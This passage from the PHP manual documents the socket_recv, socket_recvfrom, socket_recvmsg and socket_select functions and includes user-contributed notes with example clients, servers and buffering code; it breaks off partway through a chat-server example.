The socket_recv() function receives len bytes of data in buf from socket. socket_recv() can be used to gather data from connected sockets. Additionally, one or more flags can be specified to modify the behaviour of the function.

buf is passed by reference, so it must be specified as a variable in the argument list. Data read from socket by socket_recv() will be returned in buf.

Parameters

socket

The socket must be a socket resource previously created by socket_create().

buf

The data received will be fetched to the variable specified with buf. If an error occurs, if the connection is reset, or if no data is available, buf will be set to NULL.

len

Up to len bytes will be fetched from remote host.

flags

The value of flags can be any combination of the following flags, joined with the binary OR (|) operator.

Possible values for flags
Flag | Description
MSG_OOB | Process out-of-band data.
MSG_PEEK | Receive data from the beginning of the receive queue without removing it from the queue.
MSG_WAITALL | Block until at least len are received. However, if a signal is caught or the remote host disconnects, the function may return less data.
MSG_DONTWAIT | With this flag set, the function returns even if it would normally have blocked.

Return Values

socket_recv() returns the number of bytes received, or FALSE if there was an error. The actual error code can be retrieved by calling socket_last_error(). This error code may be passed to socket_strerror() to get a textual explanation of the error.

Examples

Example #1 socket_recv() example

This example is a simple rewrite of the first example from Examples to use socket_recv().

<?php
error_reporting(E_ALL);

echo "<h2>TCP/IP Connection</h2>\n";

/* Get the port for the WWW service. */
$service_port = getservbyname('www', 'tcp');

/* Get the IP address for the target host. */
$address = gethostbyname('www.example.com');

/* Create a TCP/IP socket. */
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket === false) {
    echo "socket_create() failed: reason: " . socket_strerror(socket_last_error()) . "\n";
} else {
    echo "OK.\n";
}

echo "Attempting to connect to '$address' on port '$service_port'...";
$result = socket_connect($socket, $address, $service_port);
if ($result === false) {
    echo "socket_connect() failed.\nReason: ($result) " . socket_strerror(socket_last_error($socket)) . "\n";
} else {
    echo "OK.\n";
}

$in = "HEAD / HTTP/1.1\r\n";
$in .= "Host: www.example.com\r\n";
$in .= "Connection: Close\r\n\r\n";
$out = '';

echo "Sending HTTP HEAD request...";
socket_write($socket, $in, strlen($in));
echo "OK.\n";

echo "Reading response:\n\n";
$buf = 'This is my buffer.';
if (false !== ($bytes = socket_recv($socket, $buf, 2048, MSG_WAITALL))) {
    echo "Read $bytes bytes from socket_recv(). Closing socket...";
} else {
    echo "socket_recv() failed; reason: " . socket_strerror(socket_last_error($socket)) . "\n";
}
socket_close($socket);

echo $buf . "\n";
echo "OK.\n\n";
?>

The above example will produce something like:

<h2>TCP/IP Connection</h2>
OK.
Attempting to connect to '208.77.188.166' on port '80'...OK.
Sending HTTP HEAD request...OK.
Reading response:

Read 123 bytes from socket_recv(). Closing socket...HTTP/1.1 200 OK
Date: Mon, 14 Sep 2009 08:56:36 GMT
Server: Apache/2.2.3 (Red Hat)
Last-Modified: Tue, 15 Nov 2005 13:24:10 GMT
ETag: "b80f4-1b6-80bfd280"
Accept-Ranges: bytes
Content-Length: 438
Connection: close
Content-Type: text/html; charset=UTF-8

OK.

User Contributed Notes

cottton at i-stats dot net 13-Oct-2014 11:17
socket_recv()
returns FALSE if client returned no data
returns 0 (zero) if client disconnected

also (asuming case socket_select() "gave" us a "changed" socket):
if
socket_recv() returned FALSE
and no bytes were received
then
client "crashed" (call it disconnected).

else if
socket_recv() returned 0 (zero)
and no bytes were received
then
client "normaly" disconnected.

Im pretty sure -- 99.99%.
Example:
<?php
function receive($socket)
{
    // !
    // on all following cases we assume that
    // socket_select() returned the current socket as "changed"
    // !

    $timeout = 3; // set your timeout

    /* important */
    $socket_recv_return_values['no_data_received'] = false;
    $socket_recv_return_values['client_disconnected'] = 0;

    $start = time();
    $received_data = null;
    $received_bytes = null;
    socket_set_nonblock($socket);
    socket_clear_error();
    while(
        ($t_out=((time()-$start) >= $timeout)) === false
        and ($read=@socket_recv($socket, $buf, 4096, 0)) >= 1
    ){
        $received_data  = (isset($received_data)) ? $received_data . $buf : $buf;
        $received_bytes = (isset($received_bytes)) ? $received_bytes + $read : $read;
    }
    $last_error = socket_last_error($socket);
    socket_set_block($socket);

    if($t_out === true){
        throw new Exception(
            'timeout after ' . ((!$received_bytes) ? 0 : $received_bytes) . ' bytes',
            0 // your eCode here
        );
    }
    elseif($last_error !== false and $last_error !== 0){
        throw new Exception(
            socket_strerror($last_error),
            $last_error
        );
    }
    else{
        if($read === $socket_recv_return_values['no_data_received']){
            // client returned NO DATA
            // but we were in a loop and could have got some data before:
            if($received_bytes < 1){
                // client is connected but sent NO DATA ?
                // no:
                // in this case the client must be "crashed" because -
                // it is not possible to "send no data" (zero bytes)
                // socket_select() now returns this socket as "changed" "forever"
                throw new Exception(
                    'client crashed',
                    0 // your eCode here
                );
            }else{
                // client returned DATA
                return $received_data;
            }
        }
        elseif($read === $socket_recv_return_values['client_disconnected']){
            // client disconnected
            if($received_bytes < 1){
                // client disconnected before/without sending any bytes
                throw new Exception(
                    'client disconnected',
                    0 // your eCode here
                );
            }
            else{
                // *this value* ^= $socket_recv_return_values['client_disconnected']
                //
                // client disconnected AFTER sending data (we were in a loop!)
                // socket_select() will return this socket "forever" as "changed" and -
                // socket_recv() will return *this value* "forever".
                // we will be "back" again "very soon" to see:
                //  socket_recv() returns *this value* AND no bytes received
                //  which results in disconnect-exception above
                return $received_data;
            }
        }
    }
}
?>
m_lajos at hotmail dot com 15-Jul-2014 12:45
Workaround for the missing MSG_DONTWAIT flag according to the bug report page:

<?php if(!defined('MSG_DONTWAIT')) define('MSG_DONTWAIT', 0x40); ?>
ss-130 at yandex dot ru 17-Jul-2013 08:09
<?php
$er = error_reporting(0);
$bytes    = socket_recv($socket,$buffer,1,MSG_WAITALL);
error_reporting($er);

// MEGA BUG HERE
// this statuses are wrong and swapped, closed socket must be with "FALSE"
// but in fact he swap the values:
// http://php.net/manual/en/function.socket-recv.php
//
if($bytes===false){ // no data available, socket not closed
    echo 'WS_READ_ERR1: '.socket_strerror(socket_last_error($socket)).PHP_EOL;
    // print when no data available:
    // WS_READ_ERR1: Resource temporarily unavailable
    continue;
}else if($bytes===0){ // socket closed
    echo 'WS_READ_ERR2: '.socket_strerror(socket_last_error($socket)).PHP_EOL;
    // print when socket closed:
    // WS_READ_ERR2: Success
    $process->close();
}

?>
davide dot renzi at gmail dot com 01-Mar-2012 05:50
In PHP version 5.* there is a bug: MSG_DONTWAIT flag is not defined (see https://bugs.php.net/bug.php?id=48326)
rathamahata at rathamahata dot net 25-Aug-2005 01:44
It looks like that mysterious flags are just the recv(2) flags passed to your OS syscall and nothing more...

ext/sockets/sockets.c:PHP_FUNCTION(socket_recv)
...
        if ((retval = recv(php_sock->bsd_socket, recv_buf, len, flags)) < 1) {
                efree(recv_buf);
...

for linux you can type `man 2 recv' and you will see complete description of thouse flags.

Sergey S. Kosrtyliov <rathamahata@rathamahata.net>
http://www.rathamahata.net/
06-May-2005 01:59
My last post was incorrect. The int flag set to 2 apparently reset the file position pointer so what I was reading was the first record repeatedly.

My workaroud ended up being the following:

for($ct=1; $ct<=$numrecs; $ct++) {
    $rec = "";
    $nr=socket_recv($fp,$rec,76,0);

    //grab the extra bytes.
    $terminator = "";
    while ($terminator != ".") {
        $nr=socket_recv($fp,$terminator,1,0);
    }

     $custarray[]=substr($rec,0,76);
}

Martin K.
05-May-2005 04:42
I'm glad that Bastion left the above post about the mysterious int flag. He just helped to fix a problem that I've spent six hours on. Here's my code:

for($ct=1; $ct<=$numrecs; $ct++) {
     $rec = "";
     $nr=socket_recv($fp,$rec,77,0);
     print "Rec # $ct -->";
         print "$rec";
         print "<br>";
      }

The code is pretty simple, it just loops through all my records and prints them out. All records are 77 bytes and all end with a period. The first 36 records print perfectly then at 37 things go bad. The records start to get offset. The last few characters of the 37th record end up printing on the 38th record. The data on the sending side was perfect, so I knew that the problem was with socked_recv.

After reading the above post I tried changing the int flag. Changing the flag to 2 worked:
$nr=socket_recv($fp,$rec,77,2);

Now everything lines up perfectly. I had always left int flag as 0 since it's undocumented.

Martin K.
engine at [NO SPAM] illusiononly dot com 30-Nov-2004 01:58
To read from socket both on linux and windows OS having  flash as a client I use function bellow. $length is the size of  a chunk, not the max length to read. It will continue reading until EOL char  occures or client disconnects (or in case of error), so it works for bigger packets as well.

     function read($descriptor, $length = 1024) {
            $this->method = "read";
            if(!$client){
                echo("No valid socket descriptor !\n");
                return false;
            }
            $read ='';
        while(($flag=socket_recv($descriptor, $buf, $length,0))>0){
              $asc=ord(substr($buf, -1));
            if ($asc==0) {
                $read.=substr($buf,0,-1);
                break;
            }else{
                $read.=$buf;
            }
        }
           if ($flag<0){
            //error
            return false;
        }elseif ($flag==0){
            //Client disconnected
            return  false;
        }else{
              return $read;
        }

     }
dgk at tcde dot ru 05-Nov-2004 12:57
I've used socket_select and socket_recv with a while loop and found myself in trouble when remote side closed connection. The code below produced infinite loop and socket_select returned immediately (which lead to high cpu time consumption).

<?

socket_set_nonblock($my_socket);
$streams = array($my_socket/*, ... */);

$lastAccess = time();
while (socket_select($streams, $write = NULL, $except = NULL, SLEEP_TIME_SECONDS, SLEEP_TIME_MILLISECONDS) !== FALSE) {
    if (in_array($my_socket, $streams)) {
        while (@socket_recv($my_socket, $data, 8192, 0)) {
            echo $data;
        }
        $lastAccess = time();
    } else {
        if (time()-$lastAccess > LAST_ACCESS_TIMEOUT) {
            break;
        }
    }
    // ...
    $streams = array($my_socket/*, ... */);
}

?>

The solution was simple, but quite hard to find because socket_recv is not documented. socket_recv returns FALSE if there is no data and 0 if the socket is widowed (disconnected by remote side). So I had just to check return value of socket_recv. The problem now sounds stupid, but I've spend some time to find it out.
I hope this will save some of somebody's hair ;)
bastiaan at [no-spam] megabass dot nl 05-Apr-2004 06:35
in case you want to empty/unset $buffer, but failing to do so, try using 0 as flag.
PHP_NORMAL_READ and PHP_BINARY_READ respectively hold 1 and 2 as value.


Receives data from a socket whether or not it is connection-oriented

  • « socket_recv
  • socket_recvmsg »
  • PHP Manual
  • Socket Functions
  • Receives data from a socket whether or not it is connection-oriented

socket_recvfrom

(PHP 4 >= 4.1.0, PHP 5)

socket_recvfrom — Receives data from a socket whether or not it is connection-oriented

Description

int socket_recvfrom ( resource $socket , string &$buf , int $len , int $flags , string &$name [, int &$port ] )

The socket_recvfrom() function receives len bytes of data in buf from name on port port (if the socket is not of type AF_UNIX) using socket. socket_recvfrom() can be used to gather data from both connected and unconnected sockets. Additionally, one or more flags can be specified to modify the behaviour of the function.

The name and port must be passed by reference. If the socket is not connection-oriented, name will be set to the internet protocol address of the remote host or the path to the UNIX socket. If the socket is connection-oriented, name is NULL. Additionally, the port will contain the port of the remote host in the case of an unconnected AF_INET or AF_INET6 socket.

Parameters

socket

The socket must be a socket resource previously created by socket_create().

buf

The data received will be fetched to the variable specified with buf.

len

Up to len bytes will be fetched from remote host.

flags

The value of flags can be any combination of the following flags, joined with the binary OR (|) operator.

Possible values for flags
Flag | Description
MSG_OOB | Process out-of-band data.
MSG_PEEK | Receive data from the beginning of the receive queue without removing it from the queue.
MSG_WAITALL | Block until at least len are received. However, if a signal is caught or the remote host disconnects, the function may return less data.
MSG_DONTWAIT | With this flag set, the function returns even if it would normally have blocked.
name

If the socket is of the type AF_UNIX type, name is the path to the file. Else, for unconnected sockets, name is the IP address of, the remote host, or NULL if the socket is connection-oriented.

port

This argument only applies to AF_INET and AF_INET6 sockets, and specifies the remote port from which the data is received. If the socket is connection-oriented, port will be NULL.

Return Values

socket_recvfrom() returns the number of bytes received, or FALSE if there was an error. The actual error code can be retrieved by calling socket_last_error(). This error code may be passed to socket_strerror() to get a textual explanation of the error.

Examples

Example #1 socket_recvfrom() example

<?php
error_reporting(E_ALL | E_STRICT);

$socket = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
socket_bind($socket, '127.0.0.1', 1223);

$from = '';
$port = 0;
socket_recvfrom($socket, $buf, 12, 0, $from, $port);

echo "Received $buf from remote address $from and remote port $port" . PHP_EOL;
?>

This example will initiate a UDP socket on port 1223 of 127.0.0.1 and print at most 12 characters received from a remote host.

Changelog

Version | Description
4.3.0 | socket_recvfrom() is now binary safe.

See Also

  • socket_recv() - Receives data from a connected socket
  • socket_send() - Sends data to a connected socket
  • socket_sendto() - Sends a message to a socket, whether it is connected or not
  • socket_create() - Create a socket (endpoint for communication)

User Contributed Notes

davide dot renzi at gmail dot com 01-Mar-2012 05:52
Pay attention! On some PHP version the MSG_DONTWAIT flag is not defined (see https://bugs.php.net/bug.php?id=48326)
jaggerwang at gmail dot com 08-Nov-2007 06:56
I'm confused about the rerturn value of socket_recvfrom(), it said -1 when failed, but when I call like this:

if (($len = @socket_recvfrom($sock, $result, 32, 0, $ip, $port)) == -1) {
    if ($this->_debug) {
        echo "socket_read() failed: " . socket_strerror(socket_last_error()) . "\n";
    }
    return false;
}

variable $len = false, when I change the buffer length from 32 to 4096, it becomes right.
ryan_at_ryanfisher_dot_com 02-Oct-2006 07:27
DNS RELAY USING UDP SOCKETS

<?php

while(TRUE) {
   $socket = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
   if($socket === FALSE)
   {
       echo 'Socket_create failed: '.socket_strerror(socket_last_error())."\n";
   }
   if(!socket_bind($socketD, "0.0.0.0", 53)) {
       socket_close($socketD);
       echo 'socket_bind failed: '.socket_strerror(socket_last_error())."\n";
   }
   socket_recvfrom($socket,$buf,65535,0,$clientIP,$clientPort);
   $stz = bin2hex($buf);
   $tx = "";
   for($i=0;$i<(strlen($stz)-26-10)/2;$i++)
   {
     $e = "00";
     $e[0] = $stz[$i*2+26];
     $e[1] = $stz[$i*2+27];
     $f = hexdec($e);
     if($f > 0 && $f < 32) $tx .= "."; else
     $tx .= sprintf("%c",$f);
   }
   echo "$clientIP <".$tx.">\n";
   $fp = fsockopen("udp://72.174.110.4",53,$errno,$errstr);
   if (!$fp)
   {
       echo "ERROR: $errno - $errstr<br />\n";
   }
   else
   {
      fwrite($fp,$buf);
      $ret = $buf;
      $ret = fread($fp,667);
      fclose($fp);
   }
  }
socket_send($socket,$ret,667,0);
}
?>


Read a message

  • « socket_recvfrom
  • socket_select »
  • PHP Manual
  • Socket Functions
  • Read a message

socket_recvmsg

(PHP 5 >= 5.5.0)

socket_recvmsg — Read a message

Description

int socket_recvmsg ( resource $socket , string $message [, int $flags ] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

socket

message

flags

Return Values

See Also

  • socket_sendmsg() - Send a message
  • socket_cmsg_space() - Calculate message buffer size

User Contributed Notes

There are no user contributed notes for this page.


Runs the select() system call on the given arrays of sockets with a specified timeout

  • « socket_recvmsg
  • socket_send »
  • PHP Manual
  • Socket Functions
  • Runs the select() system call on the given arrays of sockets with a specified timeout

socket_select

(PHP 4 >= 4.1.0, PHP 5)

socket_select — Runs the select() system call on the given arrays of sockets with a specified timeout

Description

int socket_select ( array &$read , array &$write , array &$except , int $tv_sec [, int $tv_usec = 0 ] )

socket_select() accepts arrays of sockets and waits for them to change status. Those coming with BSD sockets background will recognize that those socket resource arrays are in fact the so-called file descriptor sets. Three independent arrays of socket resources are watched.

Parameters

read

The sockets listed in the read array will be watched to see if characters become available for reading (more precisely, to see if a read will not block - in particular, a socket resource is also ready on end-of-file, in which case a socket_read() will return a zero length string).

write

The sockets listed in the write array will be watched to see if a write will not block.

except

The sockets listed in the except array will be watched for exceptions.

tv_sec

The tv_sec and tv_usec together form the timeout parameter. The timeout is an upper bound on the amount of time elapsed before socket_select() return. tv_sec may be zero , causing socket_select() to return immediately. This is useful for polling. If tv_sec is NULL (no timeout), socket_select() can block indefinitely.

tv_usec

Warning

On exit, the arrays are modified to indicate which socket resource actually changed status.

You do not need to pass every array to socket_select(). You can leave it out and use an empty array or NULL instead. Also do not forget that those arrays are passed by reference and will be modified after socket_select() returns.

Note:

Due a limitation in the current Zend Engine it is not possible to pass a constant modifier like NULL directly as a parameter to a function which expects this parameter to be passed by reference. Instead use a temporary variable or an expression with the leftmost member being a temporary variable:

Example #1 Using NULL with socket_select()

<?php
$e = NULL;
socket_select($r, $w, $e, 0);
?>

Return Values

On success socket_select() returns the number of socket resources contained in the modified arrays, which may be zero if the timeout expires before anything interesting happens. On error FALSE is returned. The error code can be retrieved with socket_last_error().

Note:

Be sure to use the === operator when checking for an error. Since the socket_select() may return 0 the comparison with == would evaluate to TRUE:

Example #2 Understanding socket_select()'s result

<?php
$e = NULL;
if (false === socket_select($r, $w, $e, 0)) {
    echo "socket_select() failed, reason: " .
        socket_strerror(socket_last_error()) . "\n";
}
?>

Examples

Example #3 socket_select() example

<?php
/* Prepare the read array */
$read   = array($socket1, $socket2);
$write  = NULL;
$except = NULL;
$num_changed_sockets = socket_select($read, $write, $except, 0);

if ($num_changed_sockets === false) {
    /* Error handling */
} else if ($num_changed_sockets > 0) {
    /* At least at one of the sockets something interesting happened */
}
?>

Notes

Note:

Be aware that some socket implementations need to be handled very carefully. A few basic rules:

  • You should always try to use socket_select() without timeout. Your program should have nothing to do if there is no data available. Code that depends on timeouts is not usually portable and difficult to debug.
  • No socket resource must be added to any set if you do not intend to check its result after the socket_select() call, and respond appropriately. After socket_select() returns, all socket resources in all arrays must be checked. Any socket resource that is available for writing must be written to, and any socket resource available for reading must be read from.
  • If you read/write to a socket returns in the arrays be aware that they do not necessarily read/write the full amount of data you have requested. Be prepared to even only be able to read/write a single byte.
  • It's common to most socket implementations that the only exception caught with the except array is out-of-bound data received on a socket.

See Also

  • socket_read() - Reads a maximum of length bytes from a socket
  • socket_write() - Write to a socket
  • socket_last_error() - Returns the last error on the socket
  • socket_strerror() - Return a string describing a socket error

User Contributed Notes

simon dot riget at gmail dot com 08-Dec-2013 05:28
A verry simple HTTP webserver written in PHP
Run it in the shell with php <name of file> and test in in the browser with <server address>:8080/test

<?php
  // Reduce the amount of warnings displayed
  error_reporting(E_ALL ^ E_NOTICE);

  // Set up socket for listening
  $host_socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  if(!$host_socket) die("Failed to start event server. socket_create: ". socket_strerror(socket_last_error())."\n");

  // set the option to reuse the port
  if(! socket_set_option($host_socket, SOL_SOCKET, SO_REUSEADDR, 1) )
    die("Failed to start event server. socket_set_option: ". socket_strerror(socket_last_error())."\n");

  // bind host socket to localhost or 0.0.0.0 on port 8080
  if(! socket_bind($host_socket,"0.0.0.0",8080) )
    die("Failed to start event server. socket_bind: ". socket_strerror(socket_last_error())."\n");

  // start listening for connections
  if(! socket_listen($host_socket,10) )
    die("Failed to start event server. socket_listen: ".socket_strerror(socket_last_error())."\n");

  while (true) {
    // Make list of sockets to listen for changes in, including host
    $read = array($host_socket);

    // get a list of all the clients that have data to be read from
    $ready=@socket_select($read, $write = NULL, $except = NULL,0);
    if ($ready=== false)
      die("Failed to listen for clients: ". socket_strerror(socket_last_error()));

    // a client request service
    elseif($ready>0){
      // accept new client
      $newsocket = socket_accept($host_socket);

      // Read from socket
      $input = socket_read($newsocket, 1024);
      if($input){
        unset($client_header);
        // Read headers; Split into safe lines
        $line=explode("\n",preg_replace('/[^A-Za-z0-9\-+\n :;=%*?.,\/_]/','',substr($input,0,2000)));
        // Split request line into its parts
        list($client_header["method"],$client_header["url"],$client_header["protocol"])=explode(" ",$line[0]);
        // Remove the request line again.
        unset($line[0]);
        // Make key=value array of headers
        foreach($line as $l){
          list($key,$val)=explode(": ",$l);
          if($key) $client_header[strtolower($key)]=$val;
        }
        // Get IP of client
        socket_getpeername($newsocket, $client_header['ip']);

        // Decode url
        $client_header+=(array)parse_url($client_header['url']);
        parse_str($client_header['query'],$client_header['arg']);

        print_r($client_header);

        // Serve file
        if(strpos($client_header['path'],".html") && file_exists(__DIR__.$client_header['path'])){
          echo "Sending a HTML page to client\n";
          socket_write($newsocket,"$client_header[protocol] 200 OK\r\n");
          socket_write($newsocket,"Content-type: text/html; charset=utf-8\r\n\r\n");
          socket_write($newsocket,file_get_contents(__DIR__.$client_header['path'])."\r\n\r\n");
          socket_close($newsocket);
        }elseif($client_header['path']=="/test"){
          echo "Sending test HTML page to client\n";
          socket_write($newsocket,"<!DOCTYPE HTML><html><head><html><body><h1>Its working!</h1>Have fun\r\n");
          socket_write($newsocket,"<pre>Request header: ". print_r($client_header,true) . "</pre>\r\n");
          socket_write($newsocket,"</body></html>\r\n\r\n");
          socket_close($newsocket);
        }else{
          echo "$client_header[protocol] 404 Not Found\r\n";
          socket_write($newsocket,"$client_header[protocol] 404 Not Found\r\n\r\n");
          socket_close($newsocket);
        }
      }
    }
  }
  socket_close($host_socket);
?>
Viorel 07-Mar-2013 04:38
Probably you will want to use

// get a list of all the clients that have data to be read from
// if there are no clients with data, go to next iteration
        if (socket_select($read, $write = NULL, $except = NULL, NULL) < 1)
            continue;

instead
        if (socket_select($read, $write = NULL, $except = NULL, 0) < 1)
            continue;
which will hang your CPU to 100% (return immediate if nothing to be done)
jean at briskula dot si 05-Feb-2011 02:03
As it was already said, some clients need \0 character to end transmission, for example Flash's XMLSocket.

You should also be prepared to read less data than you have requested.

Here is an example of a socket buffer - it's an array which has socket resources for keys and an array of a timestamp and recieved data as values.

I find that the best practice for sending data is trailing it with a new line and zero character (\n\0), because you will probably have different types of clients which behave differently for reading data from sockets. Some need a \n to fire an event, some need \0.

For recieving data, sometimes you will get splitted data - this can hapen because the buffer is full (in my example 8192 bytes) or it just gets broken during transmission in lower levels.

Sometimes you can read two messages at once, but they have a zero character in between, so you can just use preg_split() to split the messages. The second message may not be complete, so you add it to your buffer.

<?php
    const message_delimiter = "\n\0";

    /*
     * Clear socket buffers older than 1 hour
     */
    function clear_buffer() {
        foreach($this->buffer as $key=>$val) {
            if(time() - $val['ts'] > 3600) {
                unset($this->buffer[$key]);
            }
        }
    }

    /*
     * Add data to a buffer
     */
    function buffer_add($sock,$data) {
        if(!isset($this->buffer[$sock])) {
            $this->buffer[$sock]['data'] = '';
        }

        $this->buffer[$sock]['data'] .= $data;
        $this->buffer[$sock]['ts'] = time();
    }

    function buffer_get($sock) {
        // split buffer by the end of string
        $lines = preg_split('/\0/',$this->buffer[$sock]['data']);

        // reset buffer to the last line of input
        // if the buffer was sent completely, the last line of input should be
        // an empty string
        $this->buffer[$sock]['data'] = trim($lines[count($lines)-1]);

        if(!empty($this->buffer[$sock]['data'])) {
            debug("buffer is not empty for $sock, len: ".strlen($this->buffer[$sock]['data']));
        }

        // remove the last line of input (incomplete data)
        // parse any complete data
        unset($lines[count($lines)-1]);

        // return only the fully sent data
        return $lines;
    }

    function read(&$sock,$len=8192,$flag=MSG_DONTWAIT) {
        $lines = array();

        $this->clear_buffer();

        $bytes_read = @socket_recv($sock,$read_data,$len,$flag);

        if ($bytes_read === false || $bytes_read == 0) {
            return false;
        } else {
            debug("recv: $read_data");
            $this->buffer_add($sock,$read_data);
            return $this->buffer_get($sock);
        }
    }

    /*
     * Write to a socket
     * add a newline and null character at the end
     * some clients don't read until new line is recieved
     *
     * try to send the rest of the data if it gets truncated
     */
    function write(&$sock,$msg) {
        $msg = $msg.self::message_delimiter;
        $length = strlen($msg);
        while(true) {
            $sent = @socket_write($sock,$msg,$length);
            if($sent <= 0) {
                return false;
            }
            if($sent < $length) {
                $msg = substr($msg, $sent);
                $length -= $sent;
                debug("Message truncated: Resending: $msg");
            } else {
                return true;
            }
        }
        return false;
    }
?>
John 02-Jun-2010 06:25
The way the document describes socket_select()'s handling of sockets polled for read is rather obscure.

It says that it checks to see if reading would not "block," but the overall description of socket_select() says it checks for a change in blocking status. Unfortunately, these are in conflict.

If a socket already has data in the buffer, calling socket_select() on that socket would never return (assuming null timeout), and would block forever. :-( This is because the blocking status wouldn't change. It simply stays "non-blocking"

It is important to remember NOT to select() on a socket which may already have data available.

An example...
<?php
//... $socket is already here...
$done = false;
$n = 0;
do{
    $tmp = 0;
    $r = $w = $e = array();
    $r = array($socket);
    socket_select($r,$w,$e,null);
    $n = socket_recv($socket, $tmp, 1024, 0);

    //$done = true; //Something determines that we are done reading...
}while(!$done);
?>
This MAY NOT work... socket_select() is always being called... but we may have data in the input buffer.

We need to ensure that the last time we read, nothing was read... (empty buffer)
<?php
//... $socket is already here...
$done = false;
$n = 0;
do{
    $tmp = 0;
    $r = $w = $e = array();
    $r = array($socket);
    if($n === 0) socket_select($r,$w,$e,null);
    $n = socket_recv($socket, $tmp, 1024, 0);

    //$done = true; //Something determines that we are done reading...
}while(!$done);
?>
magemerlin at list dot ru 17-Apr-2010 12:24
If you using a Flash client - you should know some specific features:

1) when client connects to the server - it is sending to you "<policy-file-request/>"."\0" string. Server should answer an XML policy file, then disconnect from this client. Code is something like

if ('<policy-file-request/>'==substr($data, 0, 22))
                {
                    echo "policy requset.\n";
                    flush();ob_flush();
                    $msg = '<'.'?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" to-ports="*" />
</cross-domain-policy>'."\0";
                    echo "Say to client (crossdomain.xml) ... ";
                    flush();ob_flush();
                    socket_write($read_sock, $msg, strlen($msg));
                    echo "OK\n";
                    flush();ob_flush();

                    echo "Closing ... ";
                    flush();ob_flush();
                    socket_close($read_sock);
                    echo "OK\n";
                    flush();ob_flush();
                }
                else
                {
// here is normal IO operations with client
}

2) every output to client should be ended with "\0" (if using XMLSocket in Flash client) - otherwise flash will not generate onData event

Russian examples is there - http://www.flasher.ru/forum/showpost.php?p=901346&postcount=7
Aaron (aaron at acephalo dot us) 07-Oct-2009 08:21
socket_select() can also serve as a more granular sleep():

<?php
  # half-second sleep
  $undef = array();
  socket_select($undef, $undef, $undef, 0, "500000");
?>
eidberger at jakota dot de 18-Mar-2009 03:06
Just noticed that you have to loop socket_select () when using UDP to get all queued packets:

<?php
while (socket_select ($aRead, $aWrite, $aExcept, 1) > 0) {
    foreach ($aReadUdp as $oSocket) {
        $this->clientReadUdp ($oSocket);
    }
}
?>

That's important because every call of socket_select () on UDP brings you only one result. But there could be 10.000 results queued and if your turnarround time is to slow (server busy, other sleeps etc.), you'll never progress all results in near realtime.
danny at dansheps dot com 16-Sep-2008 06:45
Just to add to this.  Since the information contained in the notes is somewhat old.   It appears keys are being preserved now.

So, if you rely on knowing which keys need to be worked with and were like me and thought that it didnot preserve.  Well it does.
qartis at gmail dot com 30-Nov-2007 10:38
In regards to the code posted by vardhan ( at ) rogers ( dot ) com, it appears that on the following line:
        if (socket_select($read, $write = NULL, $except = NULL, 0) < 1)
the timeout parameter is accidentally set to 0, rather than NULL. This means that the select call will return immediately rather than blocking indefinitely.

Change the socket_select line to the following for great success:
        if (socket_select($read, $write = NULL, $except = NULL, NULL) < 1)
24-Jan-2007 12:04
If you want to use a simple fractional value for timeout:

<?php
socket_select(..., floor($timeout), ceil($timeout*1000000));
?>
Whosawhatsis at that google email thingy 20-Apr-2006 04:35
Another solution to the problem of keys not being preserved is to have an additional array for looking up sockets that uses their resource identifiers as keys. This can be obtained using array_flip() in some cases, but is particularly useful if each socket is associated with an object. In this case, you can make the object's constructor add a pointer to itself to the lookup array with its socket resource identifier as a key and use the following code to execute a read method for the object associated with each socket returned by socket_select():

<?php
socket_select($reads, $writes, $excepts, 0);

foreach ($sockets as $socket) {
    $lookuparray[$socket]->read();
}
?>
ludvig dot ericson at gmail dot com 02-Nov-2005 02:35
Regarding the comment below, No, it does not, it's a system call and I believe it's rather hard to preserve keys.

Additionally, socket_select should be used like it was a user-inputted array, that you don't know what you sent in to.

<?php
$reads = $clients;
$reads[] = $server;

socket_select($reads);

foreach ($reads as $read) {
    /* do some stuff */
}
?>
crimson at NOSPAMtechnologist dot com 01-Oct-2005 01:15
Note that the resulting arrays do NOT maintain keys (PHP 4.3.2) after being run through this function:

Before:
Array
(
    [Client_Socket] => Resource id #6
    [Server_Socket] => Resource id #9
)

After:
Array
(
    [0] => Resource id #6
    [1] => Resource id #9
)

It would have been nice to have the keys stay to figure out which stream you need to receive from, but you'll have to use some fancy foreach loop to figure out which sockets to check.
vardhan ( at ) rogers ( dot ) com 28-Aug-2005 04:46
A simple PHP script using socket_select() to manage multiple connections.
connect using "telnet localhost 9050". it broadcasts your messages that you send through telnet to other users connected to the server -- sort of like a chat script

#!/usr/local/bin/php
<?php

    $port = 9050;

    // create a streaming socket, of type TCP/IP
    $sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

    // set the option to reuse the port
    socket_set_option($sock, SOL_SOCKET, SO_REUSEADDR, 1);

    // "bind" the socket to the address to "localhost", on port $port
    // so this means that all connections on this port are now our resposibility to send/recv data, disconnect, etc..
    socket_bind($sock, 0, $port);

    // start listen for connections
    socket_listen($sock);

    // create a list of all the clients that will be connected to us..
    // add the listening socket to this list
    $clients = array($sock);

    while (true) {
        // create a copy, so $clients doesn't get modified by socket_select()
        $read = $clients;

        // get a list of all the clients that have data to be read from
        // if there are no clients with data, go to next iteration
        if (socket_select($read, $write = NULL, $except = NULL, 0) < 1)
            continue;

        // check if there is a client trying to connect
        if (in_array($sock, $read)) {
            // accept the client, and add him to the $clients array
            $clients[] = $newsock = socket_accept($sock);

            // send the client a welcome message
            socket_write($newsock, "no noobs, but ill make an exception :)\n".
            "There are ".(count($clients) - 1)." client(s) connected to the server\n");

            socket_getpeername($newsock, $ip);
            echo "New client connected: {$ip}\n";

            // remove the listening socket from the clients-with-data array
            $key = array_search($sock, $read);
            unset($read[$key]);
        }

        // loop through all the clients that have data to read from
        foreach ($read as $read_sock) {
            // read until newline or 1024 bytes
            // socket_read while show errors when the client is disconnected, so silence the error messages
            $data = @socket_read($read_sock, 1024, PHP_NORMAL_READ);

            // check if the client is disconnected
            if ($data === false) {
                // remove client for $clients array
                $key = array_search($read_sock, $clients);
                unset($clients[$key]);
                echo "client disconnected.\n";
                // continue to the next client to read from, if any
                continue;
            }

            // trim off the trailing/beginning white spaces
            $data = trim($data);

            // check if there is any data after trimming off the spaces
            if (!empty($data)) {

